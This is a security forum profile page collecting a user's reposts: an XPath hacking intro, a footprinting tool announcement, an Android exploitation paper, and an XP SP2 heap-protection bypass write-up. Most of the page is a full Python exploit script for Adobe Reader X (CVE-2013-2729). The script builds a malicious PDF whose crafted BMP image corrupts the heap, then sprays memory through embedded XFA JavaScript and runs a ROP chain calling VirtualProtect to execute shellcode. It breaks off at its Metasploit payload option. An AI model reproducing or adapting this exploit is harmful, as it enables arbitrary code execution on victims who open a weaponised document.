Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. Hacking XPath 2.0 Introducing XPath XPath 1.0 is a well-supported and fairly old query language for selecting nodes in an XML document and returning a computed value from the selected nodes. There are plenty of libraries implementing full or basic support for XPath 1.0 in a huge variety of languages including Java, C/C++, Python, C#, Haskell, JavaScript and Perl. Using XPath 1.0 you can write simplistic queries that filter nodes within a single specified XML document. For example, given the following XML document shown below it would be trivial to check if a user existed and authenticate them based upon a supplied username and password. Download: http://t.co/LUKlB73jhy
  2. SpiderFoot v2.0 Released SpiderFoot is a free, open-source footprinting tool, enabling you to perform various scans against a given domain name in order to obtain information such as sub-domains, e-mail addresses, owned netblocks, web server versions and so on. The main objective of SpiderFoot is to automate the footprinting process to the greatest extent possible, freeing up a penetration tester’s time to focus their efforts on the security testing itself. Main features Fast, Easy to Use Highly Configurable For Windows & Linux Create your own modules in Python New in this release, which is actually a complete re-write of the version from 2005(!): Now runs on Windows as well as Linux, Solaris, *BSD (basically anything with Python should be fine) Scans are even more configurable than before All scan data stored locally in an SQLite database for querying, reporting and analysis Many more scans/tests included (GeoIP, URL linkage, web technology, port scans…) You can now easily extend functionality by writing your own modules in Python Completely new user interface, which is now entirely web-based Configuration state is stored between runs Scanning can be remotely controlled Full Changelog: https://github.com/smicallef/spiderfoot/wiki/Release-Notes More Information: SpiderFoot - The Open Source Footprinting tool Download: http://sourceforge.net/projects/spiderfoot/files/ Sursa: SpiderFoot v2.0 Released | ToolsWatch.org - The Hackers Arsenal Tools | Repository for vFeed and DPE Projects
  3. Android exploitation primers: lifing the veil on mobile offensive security (Vol. I) Table of Contents 1 Overview............................................................................................................ 1 1.1 On the usefulness of information leak vulnerabilities .............................................. 1 2 Technical Details................................................................................................. 2 2.1 Motivation............................................................................................................. 2 2.2 Pre-4.1 information leak exploitation ..................................................................... 3 2.3 Post-4.1 information leak exploitation .................................................................... 7 2.4 Building your ROP chain dynamically.................................................................... 7 2.4.1 Searching for the gadgets ................................................................................. 7 2.4.2 Building the ROP chain ................................................................................... 9 2.4.3 Identifying the Android version and JavaScript engine............................................. 9 2.5 Case study: Leveraging CVE-2010-4577 ................................................................. 11 2.5.1 The bug ...................................................................................................... 11 2.5.2 Exploitation walk-through............................................................................... 14 2.6 Mitigation ........................................................................................................... 17 2.7 Future work ......................................................................................................... 17 3 Closing words................................................................................................... 19 3.1 Lessons learned.................................................................................................... 19 3.2 To mobile device and so?ware vendors ................................................................. 19 3.3 An open le?er for the exploit market..................................................................... 20 References .............................................................................................................. 26 Download: https://subreption.com/site_media/uploads/reports/droidleak_release.pdf
  4. [h=3]Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass[/h]Author: Alexander Anisimov Heap Overflow Let`s take a look at this pretty simple example of a vulnerable function: As we can see here the vulner() function copies data from a string pointed by str to an allocated memory block pointed at by buf, without a bound check. A string larger than 127 bytes passed to it will thereby overwrite the data coincidental to this memory block (Which is, actually, a header of the following memory block). The heap overflow exploitation scenario usually proceeds on like this: If during the buffer overflow the neighboring block exists, and is free, then the Flink and Blink pointers are replaced (Fig. 5). At the precise moment of the removal of this free block from the doubly-linked freelist a write to an arbitrary memory location happens: For example, the Blink pointer could be replaced by the unhandled exception filter address (UEF -- UnhandledExceptionFilter), and Flink, accordingly, by the address of the instruction which will transfer ther execution to the shellcode. [*] More detailed information about the heap overflows is provided in the “Windows Heap Overflows” whitepaper (by David Litchfield, BlackHat 2004). Fig. 1 In Windows XP SP2 the allocation algorithm was changed -- now before the removal of a free block from the freelist, a pointer sanity check is performed with regard to the previous and next block addresses (safe unlinking, fig. 2.): Fig. 2 Then that block gets deleted from the list. The memory header block was changed, besides other things (fig. 7.). A new one-bytelarge 'cookie' field was introduced, which holds a unique precomputed token -- undoubtely designed to ensure header consistency. This value is calculated from the header address and a pseudorandom number generated during the heap creation: The consistency of this token is checked only during the allocation of a free memory block and only after its deletion from the free list. If at least one of these checks fails the heap is considered destroyed and an exception follows. The first weak spot -- the fact that the cookie gets checked at all only during free block allocation and hence there is no checks upon block freeing. However in this situation there is nothing you can do except changing the block size and place it into an arbitrary freelist. And the second weak spot – the manipulation of the lookaside lists doesn`t assume any header sanity checking, there isn`t even a simple cookie check there. Which, theoretically, results in possibility to overwrite up to 1016 bytes in an arbitrary memory location. The exploitation scenario could proceed as follows: if, during the overflow the concidental memory block is free and is residing in the lookaside list, then it becomes possible to replace the Flink pointer with an arbitrary value. Then, if the memory allocation of this block happens, the replaced Flink pointer will be copied into the header of the lookaside list and during the next allocation HeapAlloc() will return this fake pointer. The prerequisite for successful exploitation is existence of a free block in lookaside list which neighbors with the buffer we overflow. This technique was successfully tested by MaxPatrol team in trying to exploit the heap buffer overflow vulnerability in the Microsoft Windows winhlp32.exe application using the advisory published by the xfocus team: http://www.xfocus.net/FLASHSKY/ICOEXP/INDEX.HTML The effect of a successful attack: Arbitrary memory region write access (smaller or equal to 1016 bytes). Arbitrary code execution (appendix A). DEP bypass. (DEP is Data Execution Prevention) (appendix . Full article: http://bit.ly/ZTdhuM Sursa: Positive Research Center: Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass
  5. Adobe Reader X BMP/RLE heap corruptionCVE-2013-2729 / XFABMPExploit.py '''Title: Adobe Reader X BMP/RLE heap corruption Product: Adobe Reader X Version: 10.x Product Homepage: adobe.com Binary affected: AcroForm.api Binary Version: 10.1.4.38 Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841 Configuration Requirements ----------------------------------------- Default configuration. Vulnerability Requirements ----------------------------------------- None. Vulnerability Description ----------------------------------------- Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. Vulnerability WorkAround (if possible) ----------------------------------------- Delete AcroForm.api ''' from hashlib import md5 import sys, struct ######### Begin of the miniPDF import zlib #For constructing a minimal pdf file ## PDF REference 3rd edition:: 3.2 Objects class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise Exception("Fail") ## PDF REference 3rd edition:: 3.2.1 Booleans Objects class PDFBool(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): if self.s: return "true" return "false" ## PDF REference 3rd edition:: 3.2.2 Numeric Objects class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord© for c in self.s]) + ">" ## A convenient type of literal Strings class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord© for c in s]) def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.4 Name Objects class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s ## PDF REference 3rd edition:: 3.2.5 Array Objects class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) assert type(s) == type([]) self.s=s def append(self,o): self.s.append(o) return self def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects class PDFDict(PDFObject): def __init__(self, d={}): PDFObject.__init__(self) self.dict = {} for k in d: self.dict[k]=d[k] def __iter__(self): for k in self.dict.keys(): yield k def __iterkeys__(self): for k in self.dict.keys(): yield k def __getitem__(self, key): return self.dict[key] def add(self,name,obj): self.dict[name] = obj def get(self,name): if name in self.dict.keys(): return self.dict[name] else: return None def __str__(self): s="<<" for name in self.dict: s+="%s %s "%(PDFName(name),self.dict[name]) s+=">>" return s ## PDF REference 3rd edition:: 3.2.7 Stream Objects class PDFStream(PDFDict): def __init__(self,d={},stream=""): PDFDict.__init__(self,d) self.stream=stream self.filtered=self.stream self.add('Length', len(stream)) self.filters = [] def appendFilter(self, filter): self.filters.append(filter) self._applyFilters() #yeah every time .. so what! def _applyFilters(self): self.filtered = self.stream for f in self.filters: self.filtered = f.encode(self.filtered) if len(self.filters)>0: self.add('Length', len(self.filtered)) self.add('Filter', PDFArray([f.name for f in self.filters])) #Add Filter parameters ? def __str__(self): self._applyFilters() #yeah every time .. so what! s="" s+=PDFDict.__str__(self) s+="\nstream\n" s+=self.filtered s+="\nendstream" return s ## PDF REference 3rd edition:: 3.2.8 Null Object class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" ## PDF REference 3rd edition:: 3.2.9 Indirect Objects class UnResolved(PDFObject): def __init__(self,n,v): PDFObject.__init__(self) self.n=n self.v=v def __str__(self): return "UNRESOLVED(%d %d)"%(self.n,self.v) class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): if len(self.obj)==0: return "null" return "%d %d R"%(self.obj[0].n,self.obj[0].v) ## PDF REference 3rd edition:: 3.3 Filters ## Example Filter... class FlateDecode: name = PDFName('FlateDecode') def __init__(self): pass def encode(self,stream): return zlib.compress(stream) def decode(self,stream): return zlib.decompress(stream) ## PDF REference 3rd edition:: 3.4 File Structure ## Simplest file structure... class PDFDoc(): def __init__(self,obfuscate=0): self.objs=[] self.info=None self.root=None def setRoot(self,root): self.root=root def setInfo(self,info): self.info=info def _add(self,obj): if obj.v!=None or obj.n!=None: raise Exception("Already added!!!") obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f \n" for xr in xref.keys(): doc1+= "%010d %05d n \n"%(xref[xr],0) doc1+="trailer\n" trailer = PDFDict() trailer.add("Size",len(self.objs)+1) if self.root == None: raise Exception("Root not set!") trailer.add("Root",PDFRef(self.root)) if self.info: trailer.add("Info",PDFRef(self.info)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF" return doc1 ######### End of miniPDF SLIDESIZE=0x12C def mkBMP(payload, exception=True): bmp = '' #getInfoHeader bfType = 0x4d42 assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp bmp += struct.pack('<H', bfType) bfSize = 0 bfOffBits = 0 bmp += struct.pack('<L', bfSize) bmp += struct.pack('<H', 0) #Reserved1 bmp += struct.pack('<H', 0) #Reserved2 bmp += struct.pack('<L', bfOffBits) biSize = 0x40 assert not biSize in [0x12] bmp += struct.pack('<L', biSize) biHeight = 1 biWidth = SLIDESIZE #size of texture structure LFH enabled biPlanes = 1 biBitCount = 8 biCompression = 1 biSizeImage = 0 biXPelsPerMeter = 0 biYPelsPerMeter = 0 biClrUsed = 2 if biClrUsed >0xff: raise "BUG!!!!" biClrImportant = 0 bmp += struct.pack('<L', biWidth) bmp += struct.pack('<L', biHeight) bmp += struct.pack('<H', biPlanes) bmp += struct.pack('<H', biBitCount) bmp += struct.pack('<L', biCompression) bmp += struct.pack('<L', biSizeImage) bmp += struct.pack('<L', biXPelsPerMeter) bmp += struct.pack('<L', biYPelsPerMeter) bmp += struct.pack('<L', biClrUsed) bmp += struct.pack('<L', biClrImportant) bmp += 'A'*(biSize-0x40) #pad numColors=biClrUsed if biClrUsed == 0 or biBitCount < 8: numColors = 1<<biBitCount; bmp += 'RGBA'*(numColors) #pallete bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff) #while (len(bmp)+10)%0x400 != 0: # bmp += '\x00\x02\x00\x00' assert len(payload) < 0x100 and len(payload) >= 3 bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00' bmp += '\x00'+chr(len(payload))+payload if len(payload)&1 : bmp += 'P' if exception: bmp += '\x00\x02\x00\xff'*10 #getting the pointer outside the texture so it triggers an exception bmp += '\x00'+chr(10)+'X'*10 else: bmp += '\x00\x01' #'\x04X'*(biWidth+2000)+"\x00\x02" return bmp def UEncode(s): r = '' s += '\x00'*(len(s)%2) for i in range(0,len(s),2): r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0]) return r r = '' for c in s: r+= '%%%02x'%ord© return r def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'): xdp = ''' <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7"> <template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/"> <?formServer defaultPDFRenderFormat acrobat9.1static?> <?formServer allowRenderCaching 0?> <?formServer formModel both?> <subform name="form1" layout="tb" locale="en_US" restoreState="auto"> <pageSet> <pageArea name="Page1" id="Page1"> <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/> <medium stock="default" short="612pt" long="792pt"/> <?templateDesigner expand 1?> </pageArea> <?templateDesigner expand 1?> </pageSet> <variables> <script name="util" contentType="application/x-javascript"> // Convenience functions to pack and unpack litle endian an utf-16 strings function pack(i){ var low = (i & 0xffff); var high = ((i>>16) & 0xffff); return String.fromCharCode(low)+String.fromCharCode(high); } function unpackAt(s, pos){ return s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16); } function packs(s){ result = ""; for (i=0;i<s.length;i+=2) result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8)); return result; } function packh(s){ return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16)); } function packhs(s){ result = ""; for (i=0;i<s.length;i+=4) result += packh(s.slice(i,i+4)); return result; } var verbose = 1; function message(x){ if (util.verbose == 1 ) xfa.host.messageBox(x); } //ROP0 //7201E63D XCHG EAX,ESP //7201E63E RETN //ROP1 //7200100A JMP DWORD PTR DS:[KERNEL32.GetModuleHandle] //ROP2 //7238EF5C PUSH EAX //7238EF5D CALL DWORD PTR DS:[KERNEL32.GetProcAddress] //7238EF63 TEST EAX,EAX //7238EF65 JNE SHORT 7238EF84 //7238EF84 POP EBP //7238EF85 RETN 4 //ROP3 //72001186 JMP EAX ; kernel32.VirtualProtect //ROP4 //72242491 ADD ESP,70 //72242494 RETN var _offsets = {'Reader": { "10.104": { "acrord32": 0xA4, "rop0": 0x1E63D, "rop1": 0x100A, "rop2": 0x38EF5C, "rop3": 0x1186, "rop4": 0x242491, }, "10.105": { // Added by Eddie Mitchell "acrord32": 0xA5, "rop0": 0x1E52D, "rop1": 0x100A, "rop2": 0x393526, "rop3": 0x1186, "rop4": 0x245E71, }, "10.106": { // Added by Eddie Mitchell "acrord32": 0xA5, "rop0": 0x1E52D, "rop1": 0x100A, "rop2": 0x393526, "rop3": 0x1186, "rop4": 0x245E71, }, }, "Exchange-Pro": { "10.105": { // Added by Eddie Mitchell "acrobat": 0xCD, "rop0": 0x3720D, "rop1": 0x100A, "rop2": 0x3DCC91, "rop3": 0x180F, "rop4": 0x25F2A1, }, }, }; function offset(x){ //app.viewerType will be "Reader" for Reader, //"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro try { return _offsets[app.viewerType][app.viewerVersion][x]; } catch (e) { xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!"); } return 0x41414141; } </script> <script name="spray" contentType="application/x-javascript"> // Global variable for spraying var slide_size=%%SLIDESIZE%%; var size = 200; var chunkx = "%%MINICHUNKX%%"; var x = new Array(size); var y = new Array(size); var z = new Array(size); var pointers = new Array(100); var done = 0; </script> <?templateDesigner expand 1?> </variables> <subform w="576pt" h="756pt"> <!-- This image fiel hold the cashing image --> <field name="ImageCrash"> <ui> <imageEdit/> </ui> <value> <image aspect="actual" contentType="image/jpeg">%%BMPFREELFH%%</image> </value> </field> </subform> <event activity="initialize" name="event__initialize"> <script contentType="application/x-javascript"> // This script runs at the very beginning and // is used to prepare the memory layout util.message("Initialize"); var i; var j; if (spray.done == 0){ //Trigger LFH use var TOKEN = "\u5858\u5858\u5678\u1234"; var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2); for (i=0; i < spray.size; i+=1) spray.x = TOKEN + util.pack(i) + spray.chunkx.substring(0, chunk_len) + util.pack(i) + ""; util.message("Initial spray done!"); for (j=0; j < size; j++) for (i=spray.size-1; i > spray.size/4; i-=10) spray.x=null; spray.done = 1; util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } // After this the form layout is rendered and the bug triggered </script> </event> <event activity="docReady" ref="$host" name="event__docReady"> <script contentType="application/x-javascript"> // This script runs once the page is ready util.message("DocReady"); var i; var j; var found = -1; // Index of the overlapped string var acro = 0; // Base of the AcroRd32_dll // Search over all strings for the first one with the broken TOKEN for (i=0; i < spray.size; i+=1) if ((spray.x!=null) && (spray.x[0] != "\u5858")){ found = i; acro = (( util.unpackAt(spray.x, 14) >> 16) - util.offset("acrord32")) << 16; util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) ); break; } // Behaviour is mostly undefined if not found if (found == -1){ util.message("Corrupted String NOT Found!"); event.target.closeDoc(true); } // Corrupted string was found let's generates the new // string for overlapping the struct before freeing it var chunky = ""; for (i=0; i < 7; i+=1) chunky += util.pack(0x41414141); chunky += util.pack(0x10101000); while (chunky.length < spray.slide_size/2) chunky += util.pack(0x58585858); // Free the overlapping string util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")"); for (j=0; j < 100000; j++) spray.x[found-1]=spray.x[found]=null; // Trigger several allocs that will fall over the structure for (i=0; i < 200; i+=1){ ID = "" + i; spray.y = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ ""; } util.message("Allocated 20 chunks-y\\n"); // Heap spraying make's baby jesus cry! // Construct the 0x1000 small chunk for spraying var obj = 0x10101000; var pointer_slide = ""; pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret for (i=0; i < 27; i+=1) pointer_slide += util.pack(0x41414141); obj += pointer_slide.length*2; // ROP pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress pointer_slide += util.pack(obj+0xDC); //@0x08 point to KERNEL32 //@0x10 pointer_slide += util.pack(obj+0xCC); pointer_slide += util.pack(0x43434343); // POPPED TO EBP pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX pointer_slide += util.pack(obj); //Points to offset 0 of this //@0x20 pointer_slide += util.pack(obj+0x38); pointer_slide += util.pack(obj+0x38); pointer_slide += util.pack(0x1000); //SIZE_T dwSize, pointer_slide += util.pack(0x40); // DWORD flNewProtect, //0x30 pointer_slide += util.pack(obj+0x34); //PDWORD lpflOldProtect pointer_slide += util.pack(0x00000000); //DWORD OldProtect pointer_slide += util.packhs("E9B1000000909090"); //0x40 pointer_slide += util.pack(acro); //Used by next stage pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x50 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x60 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x70 pointer_slide += util.pack(acro); pointer_slide += util.pack(0x48484848); pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x49494949); //0x80 pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x50505050); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0x90 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xa0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xb0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xc0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.packs("VirtualProtect"); //@0xCC pointer_slide += "\u0000"; pointer_slide += "KERNEL32"; pointer_slide += "\u0000"; pointer_slide += "%%SHELLCODE%%"; while (pointer_slide.length < 0x1000/2) pointer_slide += util.pack(0x41414141); pointer_slide = pointer_slide.substring(0,0x1000/2); util.message("Pointer slide size: " + pointer_slide.length); // And now ensure it gets bigger than 0x100000 bytes while (pointer_slide.length < 0x100000/2) pointer_slide += pointer_slide; // And the actual spray for (i=0; i < 100; i+=1) spray.pointers = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + ""; // Everything done here close the doc and // trigger the use of the vtable util.message("Now what?"); var pdfDoc = event.target; pdfDoc.closeDoc(true); </script> </event> </subform> <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.5/?> <?templateDesigner DefaultLanguage JavaScript?> <?templateDesigner DefaultRunAt client?> <?acrobat JavaScript strictScoping?> <?PDFPrintOptions embedViewerPrefs 0?> <?PDFPrintOptions embedPrintOnFormOpen 0?> <?PDFPrintOptions scalingPrefs 0?> <?PDFPrintOptions enforceScalingPrefs 0?> <?PDFPrintOptions paperSource 0?> <?PDFPrintOptions duplexMode 0?> <?templateDesigner DefaultPreviewType interactive?> <?templateDesigner DefaultPreviewPagination simplex?> <?templateDesigner XDPPreviewFormat 19?> <?templateDesigner DefaultCaptionFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?> <?templateDesigner DefaultValueFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?> <?templateDesigner Zoom 119?> <?templateDesigner FormTargetVersion 30?> <?templateDesigner SaveTaggedPDF 1?> <?templateDesigner SavePDFWithEmbeddedFonts 1?> <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template> <config xmlns="http://www.xfa.org/schema/xci/3.0/"> <agent name="designer"> <!-- [0..n] --> <destination>pdf</destination> <pdf> <!-- [0..n] --> <fontInfo/> </pdf> </agent> <present> <!-- [0..n] --> <pdf> <!-- [0..n] --> <version>1.7</version> <adobeExtensionLevel>5</adobeExtensionLevel> </pdf> <common/> <xdp> <packets>*</packets> </xdp> </present> </config> <localeSet xmlns="http://www.xfa.org/schema/xfa-locale-set/2.7/"> <locale name="en_US" desc="English (United States)"> <calendarSymbols name="gregorian"> <monthNames> <month>January</month> <month>February</month> <month>March</month> <month>April</month> <month>May</month> <month>June</month> <month>July</month> <month>August</month> <month>September</month> <month>October</month> <month>November</month> <month>December</month> </monthNames> <monthNames abbr="1"> <month>Jan</month> <month>Feb</month> <month>Mar</month> <month>Apr</month> <month>May</month> <month>Jun</month> <month>Jul</month> <month>Aug</month> <month>Sep</month> <month>Oct</month> <month>Nov</month> <month>Dec</month> </monthNames> <dayNames> <day>Sunday</day> <day>Monday</day> <day>Tuesday</day> <day>Wednesday</day> <day>Thursday</day> <day>Friday</day> <day>Saturday</day> </dayNames> <dayNames abbr="1"> <day>Sun</day> <day>Mon</day> <day>Tue</day> <day>Wed</day> <day>Thu</day> <day>Fri</day> <day>Sat</day> </dayNames> <meridiemNames> <meridiem>AM</meridiem> <meridiem>PM</meridiem> </meridiemNames> <eraNames> <era>BC</era> <era>AD</era> </eraNames> </calendarSymbols> <datePatterns> <datePattern name="full">EEEE, MMMM D, YYYY</datePattern> <datePattern name="long">MMMM D, YYYY</datePattern> <datePattern name="med">MMM D, YYYY</datePattern> <datePattern name="short">M/D/YY</datePattern> </datePatterns> <timePatterns> <timePattern name="full">h:MM:SS A Z</timePattern> <timePattern name="long">h:MM:SS A Z</timePattern> <timePattern name="med">h:MM:SS A</timePattern> <timePattern name="short">h:MM A</timePattern> </timePatterns> <dateTimeSymbols>GyMdkHmsSEDFwWahKzZ</dateTimeSymbols> <numberPatterns> <numberPattern name="numeric">z,zz9.zzz</numberPattern> <numberPattern name="currency">$z,zz9.99|($z,zz9.99)</numberPattern> <numberPattern name="percent">z,zz9%</numberPattern> </numberPatterns> <numberSymbols> <numberSymbol name="decimal">.</numberSymbol> <numberSymbol name="grouping">,</numberSymbol> <numberSymbol name="percent">%</numberSymbol> <numberSymbol name="minus">-</numberSymbol> <numberSymbol name="zero">0</numberSymbol> </numberSymbols> <currencySymbols> <currencySymbol name="symbol">$</currencySymbol> <currencySymbol name="isoname">USD</currencySymbol> <currencySymbol name="decimal">.</currencySymbol> </currencySymbols> <typefaces> <typeface name="Myriad Pro"/> <typeface name="Minion Pro"/> <typeface name="Courier Std"/> <typeface name="Adobe Pi Std"/> <typeface name="Adobe Hebrew"/> <typeface name="Adobe Arabic"/> <typeface name="Adobe Thai"/> <typeface name="Kozuka Gothic Pro-VI M"/> <typeface name="Kozuka Mincho Pro-VI R"/> <typeface name="Adobe Ming Std L"/> <typeface name="Adobe Song Std L"/> <typeface name="Adobe Myungjo Std M"/> </typefaces> </locale> <?originalXFAVersion http://www.xfa.org/schema/xfa-locale-set/2.1/?></localeSet> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> <xfa:data xfa:dataNode="dataGroup"/> </xfa:datasets> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.2-c001 63.139439, 2011/06/07-10:39:26 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about=""> <xmp:MetadataDate>2012-11-23T13:41:54Z</xmp:MetadataDate> <xmp:CreatorTool>Adobe LiveCycle Designer ES 10.0</xmp:CreatorTool> <xmp:ModifyDate>2012-11-23T05:26:02-08:00</xmp:ModifyDate> <xmp:CreateDate>2012-11-23T05:15:47-08:00</xmp:CreateDate> </rdf:Description> <rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about=""> <pdf:Producer>Adobe LiveCycle Designer ES 10.0</pdf:Producer> </rdf:Description> <rdf:Description xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about=""> <xmpMM:DocumentID>uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7</xmpMM:DocumentID> <xmpMM:InstanceID>uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2</xmpMM:InstanceID> </rdf:Description> <rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about=""> <dc:format>application/pdf</dc:format> </rdf:Description> </rdf:RDF> </x:xmpmeta> <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"> <annots/> </xfdf></xdp:xdp> ''' assert len(shellcode) <= 0xF00, "You need a smaller shellcode, sorry" #shellcode xdp = xdp.replace("%%SHELLCODE%%",UEncode(shellcode)) xdp = xdp.replace("%%SLIDESIZE%%", "0x%x"%SLIDESIZE); xdp = xdp.replace("%%MINICHUNKX%%",UEncode('O'*SLIDESIZE)) xdp = xdp.replace("%%BMPFREELFH%%",mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05',True).encode('base64')) #xdp = xdp.replace("%%BMPFREELFH%%",file("/usr/share/pixmaps/gnome-news.png","rb").read().encode('base64')) file("%s.log"%sys.argv[0].split('.')[0],'wb').write(xdp) #The document doc = PDFDoc() #font font = PDFDict() font.add("Name", PDFName("F1")) font.add("Subtype", PDFName("Type1")) font.add("BaseFont", PDFName("Helvetica")) #name:font map fontname = PDFDict() fontname.add("F1",font) #resources resources = PDFDict() resources.add("Font",fontname) #contents contentsDict = PDFDict() contents= PDFStream(contentsDict, '''BT /F1 24 Tf 100 100 Td (Pedefe Pedefeito Pedefeon!) Tj ET''') #page page = PDFDict() page.add("Type",PDFName("Page")) page.add("Resources",resources) page.add("Contents", PDFRef(contents)) #pages pages = PDFDict() pages.add("Type", PDFName("Pages")) pages.add("Kids", PDFArray([PDFRef(page)])) pages.add("Count", PDFNum(1)) #add parent reference in page page.add("Parent",PDFRef(pages)) xfa = PDFStream(PDFDict(), xdp) xfa.appendFilter(FlateDecode()) doc.add(xfa) #form form = PDFDict() form.add("XFA", PDFRef(xfa)) doc.add(form) #shellcode2 shellcode2 = PDFStream(PDFDict(), struct.pack("<L",0xcac0face)+"\xcc"*10) doc.add(shellcode2) #catalog catalog = PDFDict() catalog.add("Type", PDFName("Catalog")) catalog.add("Pages", PDFRef(pages)) catalog.add("NeedsRendering", "true") catalog.add("AcroForm", PDFRef(form)) adbe = PDFDict() adbe.add("BaseVersion","/1.7") adbe.add("ExtensionLevel",PDFNum(3)) extensions = PDFDict() extensions.add("ADBE", adbe) catalog.add("Extensions",extensions) doc.add([catalog,pages,page,contents]) doc.setRoot(catalog) #render it return doc.__str__() if __name__ == '__main__': import optparse,os from subprocess import Popen, PIPE parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit') parser.add_option('--debug', action='store_true', default=False, help='For debugging') parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default="windows/messagebox ", help="Metasploit payload. Ex. 'win32_exec 